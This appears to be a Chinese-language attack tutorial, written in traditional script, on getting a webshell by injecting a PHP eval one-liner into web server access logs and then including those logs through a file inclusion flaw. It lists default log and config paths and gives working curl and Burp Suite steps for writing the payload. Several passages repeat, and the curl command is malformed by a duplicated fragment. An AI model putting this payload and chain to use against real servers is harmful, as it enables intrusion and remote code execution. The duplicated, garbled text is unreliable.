包含日志文件getshell
一、包含日志文件漏洞利用概述
當我們沒有上傳點,並且也沒有url_allow_include功能時,我們就可以考慮包含服務器的日志文件。 利用思路也比較簡單,當我們訪問網站時,服務器的日志中都會記錄我們的行為,當我們訪問鏈接中包含PHP一句話木馬時,也會被記錄到日志中。
這時候我們如果知道服務器的日志位置,我們可以去包含這個文件從而拿到shell。其實整個“包含日志文件漏洞利用”最關鍵的就是找日志存放的“物理路徑”,只要找到日志的物理存放路徑,一切就可以按部就班的完成利用了。
二、漏洞利用條件
(1) 日志的物理存放路徑
(2) 存在文件包含漏洞
(3) curl命令行url請求工具 或者 burpsuit代理;(避免url轉碼的存在)
(3) curl命令行url請求工具 或者 burpsuit代理;
三、 獲取日志存放路徑
二、漏洞利用條件
(1) 日志的物理存放路徑
(2) 存在文件包含漏洞
(3) curl命令行url請求工具 或者 burpsuit代理;
三、 獲取日志存放路徑
一)日志默認路徑(1) apache+Linux日志默認路徑/etc/httpd/logs/access_log或者/var/log/httpd/access_log(2) apache+win2003日志默認路徑D:\xampp\apache\logs\access.logD:\xampp\apache\logs\error.log(3) IIS6.0+win2003默認日志文件C:\WINDOWS\system32\Logfiles(4) IIS7.0+win2003 默認日志文件%SystemDrive%\inetpub\logs\LogFiles(5) nginx 日志文件日志文件在用戶安裝目錄logs目錄下以我的安裝路徑為例/usr/local/nginx,那我的日志目錄就是在/usr/local/nginx/logs里+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++二)web中間件默認配置
(1) apache+linux 默認配置文件/etc/httpd/conf/httpd.conf或者index.php?page=/etc/init.d/httpd(2) IIS6.0+win2003 配置文件C:/Windows/system32/inetsrv/metabase.xml(3) IIS7.0+WIN 配置文件C:\Windows\System32\inetsrv\config\applicationHost.config
二)使用瀏覽器直接構造一句話寫入日志測試記錄 (1)瀏覽器構造一句話報錯 首先,我們直接使用瀏覽器來構造“php一句話報錯請求信息”然服務自動記錄此一句話信息到服務器日志文件中; 具體構造內容: http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>
">" ----> 小於號被轉碼為了 %3E
" " ----> 空格被轉碼為了 %20
最后寫入到日志文件中的一句話就變成了 %3C?php%20@eval($_POST[123]);?%3E。
(4) 失敗總結
瀏覽器直接構造的PHP一句話中特殊字符,會被瀏覽器自動進行URL轉義,導致最終寫入日志文件中的PHP一句話包含了這些特殊字符,而這些轉碼后的編碼PHP並不能進行正常的解析。
三)curl 構造一句話,寫入日志文件測試記錄
(1) curl 構造一句話寫入服務日志文件 構造語句: D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
curl構造一句話時,需要注意兩點:
1)請求的資源對象,需要被雙引號包含,不然會報錯;
2) php一句話中的 綜括號[ ]curl是特殊符號,需要進行轉義 \[ \],不然curl使用時也會報錯;
2) php一句話中的 綜括號[ ]curl是特殊符號,需要進行轉義 \[ \],不然curl使用時也會報錯;
(2)測試結果:成功
(3) 成功原因
Curl 命令行url資源請求,沒有像瀏覽器對特殊字符進行url的轉碼,所以原封不動的將請求報錯的php一句話信息寫入了服務日志文件中。隨后我們利用文件包含漏洞正常包含解析了本地服務器的日志文件中夾帶的“php一句話木馬”;
四)burpsuit 代理抓包改包構造一句話寫入日志文件
(1) burpsuit 代理抓包,修改瀏覽器轉碼字符,寫入正確的php一句話木馬到服務器日志文件。
(2) 測試記錄:成功
通過文件包含直接訪問服務日志文件,發現一句話被繼續成功;
(3)成功原因
使用burpsuit修改了瀏覽器訪問轉碼的字符,事情安裝我們一句話原本的格式記錄進日志文件,並能被php正常解析。
